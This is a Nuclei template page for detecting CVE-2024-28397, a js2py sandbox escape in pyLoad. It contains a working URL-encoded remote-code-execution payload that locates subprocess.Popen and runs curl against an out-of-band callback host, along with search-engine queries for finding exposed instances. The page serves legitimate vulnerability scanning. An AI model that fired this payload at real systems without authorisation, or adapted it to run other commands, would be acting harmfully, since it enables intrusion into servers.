Skip to content
Nuclei Templates

pyload-ng js2py - Remote Code Execution

ID: CVE-2024-28397

Severity: medium

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,pyload,js2py,rce,oast

Description

Section titled “Description”

An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.

YAML Source

Section titled “YAML Source”
id: CVE-2024-28397


info:
  name: pyload-ng js2py - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.
  reference:
    - https://github.com/advisories/GHSA-r9pp-r4xf-597r
    - https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 5.3
    cve-id: CVE-2024-28397
    cwe-id: CWE-94
    epss-score: 0.00043
    epss-percentile: 0.09572
  metadata:
    verified: true
    max-request: 1
    vendor: pyload
    product: pyload
    shodan-query: http.html:"pyload"
    fofa-query: body="pyload"
    google-query: intitle:"pyload"
    zoomeye-query: app="pyLoad"
  tags: cve,cve2024,pyload,js2py,rce,oast


http:
  - raw:
      - |-
        POST /flash/addcrypted2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        package=pkg&crypted=MTIzNA%3D%3D&jk=%0A//%20%5B%2B%5D%20command%20goes%20here%3A%0Alet%20cmd%20%3D%20%22curl%20http%3A//{{interactsh-url}}%22%0Alet%20hacked%2C%20bymarve%2C%20n11%0Alet%20getattr%2C%20obj%0A%0Ahacked%20%3D%20Object.getOwnPropertyNames%28%7B%7D%29%0Abymarve%20%3D%20hacked.__getattribute__%0An11%20%3D%20bymarve%28%22__getattribute__%22%29%0Aobj%20%3D%20n11%28%22__class__%22%29.__base__%0Agetattr%20%3D%20obj.__getattribute__%0A%0Afunction%20findpopen%28o%29%20%7B%0A%20%20%20%20let%20result%3B%0A%20%20%20%20for%28let%20i%20in%20o.__subclasses__%28%29%29%20%7B%0A%20%20%20%20%20%20%20%20let%20item%20%3D%20o.__subclasses__%28%29%5Bi%5D%0A%20%20%20%20%20%20%20%20if%28item.__module__%20%3D%3D%20%22subprocess%22%20%26%26%20item.__name__%20%3D%3D%20%22Popen%22%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20item%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20if%28item.__name__%20%21%3D%20%22type%22%20%26%26%20%28result%20%3D%20findpopen%28item%29%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20result%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0An11%20%3D%20findpopen%28obj%29%28cmd%2C%20-1%2C%20null%2C%20-1%2C%20-1%2C%20-1%2C%20null%2C%20null%2C%20true%29.communicate%28%29%0Aconsole.log%28n11%29%0Afunction%20f%28%29%20%7B%0A%20%20%20%20return%20n11%0A%7D%0A%0A


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Could not decrypt key


      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: status
        status:
          - 500
# digest: 4a0a00473045022100f46a18bc4a070e05aed7f06ba38391ee514193987e764c2f53a4d3ecde07fcdf02206193ee35836f5cd9f5cb2f8de39f65a9992310a130c4bb22957a04a7a34bd8e0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-28397.yaml"

View on Github